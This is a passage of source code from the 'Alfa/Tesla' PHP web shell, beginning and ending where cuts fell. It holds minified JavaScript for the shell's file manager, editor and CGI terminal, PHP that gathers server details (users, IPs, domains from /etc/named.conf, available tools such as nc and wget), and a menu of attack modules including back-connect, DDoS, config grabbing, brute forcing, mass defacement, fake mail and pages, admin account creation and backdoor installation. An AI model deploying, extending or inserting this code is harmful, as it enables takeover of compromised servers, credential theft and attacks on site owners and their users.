inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php 
        echo "__ALFA_SECRET_KEY__";
        ?>")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
<?php 
        echo "<form style='display:none;' id='dlForm' action='' target='_blank' method='post'>\r\n<input type='hidden' name='a' value='dlfile'>\r\n<input type='hidden' name='c' value=''>\r\n<input type='hidden' name='file' value=''>\r\n</form>\r\n<input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>\r\n<div id='a_loader'><img src='" . __showicon('loader') . "'></div>";
        $cmd_uname = alfaEx("uname -a", false, false);
        $uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname) > 0 ? $cmd_uname : '( php_uname ) Function Disabled !');
        if ($uname == "( php_uname ) Function Disabled !") {
            $GLOBALS["need_to_update_header"] = "true";
        }
        echo '
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c" value="' . $GLOBALS['cwd'] . '">';
        for ($s = 1; $s <= 10; $s++) {
            echo '<input type="hidden" name="alfa' . $s . '">';
        }
        echo "<input type=\"hidden\" name=\"charset\">\r\n</form>\r\n<div id='hidden_sh'><a class=\"alert_green\" target=\"_blank\" href=\"?solevisible\"><span style=\"color:#42ff59;\">Tesla</span><br><small>Version: <span class=\"hidden_shell_version\">4.1</span></small></a></div>\r\n<div class=\"header\"><table width=\"100%\" border=\"0\">\r\n<tr>\r\n<td width=\"3%\"><span class=\"header_vars\">Uname:</span></td>\r\n<td colspan=\"2\"><span class=\"header_values\" id=\"header_uname\">" . $uname . '</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">' . $uid . ' [ ' . $user . ' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>' . @phpversion() . ' </b><span class="header_vars"> Safe Mode: ' . $safe_modes . '</span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>' . (!@$_SERVER["SERVER_ADDR"] ? function_exists("gethostbyname") ? @gethostbyname($_SERVER['SERVER_NAME']) : '????' : @$_SERVER["SERVER_ADDR"]) . '</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> ' . @$_SERVER["REMOTE_ADDR"] . '</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>' . date('Y-m-d H:i:s') . '</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">';
        if ($GLOBALS['sys'] == 'unix') {
            $d0mains = _alfa_file("/etc/named.conf", false);
            if (!$d0mains) {
                echo "Cant Read [ /etc/named.conf ]";
                $GLOBALS["need_to_update_header"] = "true";
            } else {
                $count = 0;
                foreach ($d0mains as $d0main) {
                    if (@strstr($d0main, "zone")) {
                        preg_match_all('#zone "(.*)"#', $d0main, $domains);
                        flush();
                        if (strlen(trim($domains[1][0])) > 2) {
                            flush();
                            $count++;
                        }
                    }
                }
                echo "{$count} Domains";
            }
        } else {
            echo "Cant Read [ /etc/named.conf ]";
        }
        echo '</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>' . alfaSize($totalSpace) . ' </b><span class="header_vars">Free:</span><b>' . alfaSize($freeSpace) . ' [' . (int) ($freeSpace / $totalSpace * 100) . '%]</b></td>
</tr>';
        if ($GLOBALS['sys'] == 'unix') {
            $useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>';
            if (!@ini_get('safe_mode')) {
                if (strlen(alfaEx("id", false, false)) > 0) {
                    echo "<tr><td height=\"18\" colspan=\"2\"><span class=\"header_vars\">Useful : </span>";
                    $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzialfa2', 'nc', 'locate', 'suidperl');
                    $x = 0;
                    foreach ($userful as $item) {
                        if (alfaWhich($item)) {
                            $x++;
                            echo '<span class="header_values" style="margin-left: 4px;">' . $item . '</span>';
                        }
                    }
                    if ($x == 0) {
                        echo "<span class='header_values' id='header_useful'>--------------</span>";
                        $GLOBALS["need_to_update_header"] = "true";
                    }
                    echo "</td>\r\n</tr>\r\n<tr>\r\n<td height=\"0\" colspan=\"2\"><span class=\"header_vars\">Downloader: </span>";
                    $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                    $x = 0;
                    foreach ($downloaders as $item2) {
                        if (alfaWhich($item2)) {
                            $x++;
                            echo '<span class="header_values" style="margin-left: 4px;">' . $item2 . '</span>';
                        }
                    }
                    if ($x == 0) {
                        echo "<span class='header_values' id='header_downloader'>--------------</span>";
                        $GLOBALS["need_to_update_header"] = "true";
                    }
                    echo "</td>\r\n</tr>";
                } else {
                    echo $useful_downloader;
                    $GLOBALS["need_to_update_header"] = "true";
                }
            } else {
                echo $useful_downloader;
                $GLOBALS["need_to_update_header"] = "true";
            }
        } else {
            echo "<tr><td height=\"18\" colspan=\"2\"><span class=\"header_vars\">Windows:</span><b>";
            echo alfaEx('ver', false, false);
            echo "</td>\r\n</tr> <tr>\r\n<td height=\"0\" colspan=\"2\"><span class=\"header_vars\">Downloader: </span><b>-------------</b></td>\r\n</tr></b>";
        }
        $quotes = function_exists('get_magic_quotes_gpc') ? get_magic_quotes_gpc() : '0';
        if ($quotes == "1" or $quotes == "on") {
            $magic = '<b><span class="header_on">ON</span>';
        } else {
            $magic = '<span class="header_off">OFF</span>';
        }
        echo '<tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>' . Alfa_GetDisable_Function() . '</b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span>' . $curl . ' | <span class="header_vars">SSH2 : </span>' . $ssh2 . ' | <span class="header_vars">Magic Quotes : </span>' . $magic . ' | <span class="header_vars"> MySQL :</span>' . $mysql . ' | <span class="header_vars">MSSQL :</span>' . $mssql . ' | <span class="header_vars"> PostgreSQL :</span>' . $pg . ' | <span class="header_vars"> Oracle :</span>' . $or . ' ' . ($GLOBALS['sys'] == "unix" ? '| <span class="header_vars"> CGI :</span> ' . $cgi_shell : "") . '</td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>' . $open_b . '</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>' . $safe_exe . '</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>' . $safe_include . '</b></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>' . @getenv('SERVER_SOFTWARE') . '</b></td>
</tr>';
        if ($GLOBALS['sys'] == "win") {
            echo '<tr>
<td height="12"><span class="header_vars">DRIVE:</span></td>
<td colspan="2"><b>' . $drives . '</b></td>
</tr>';
        }
        echo '<tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd">' . $cwd_links . ' </span><a href="#action=fileman&path=' . $GLOBALS['home_cwd'] . '" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
';
        $li = array('proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install 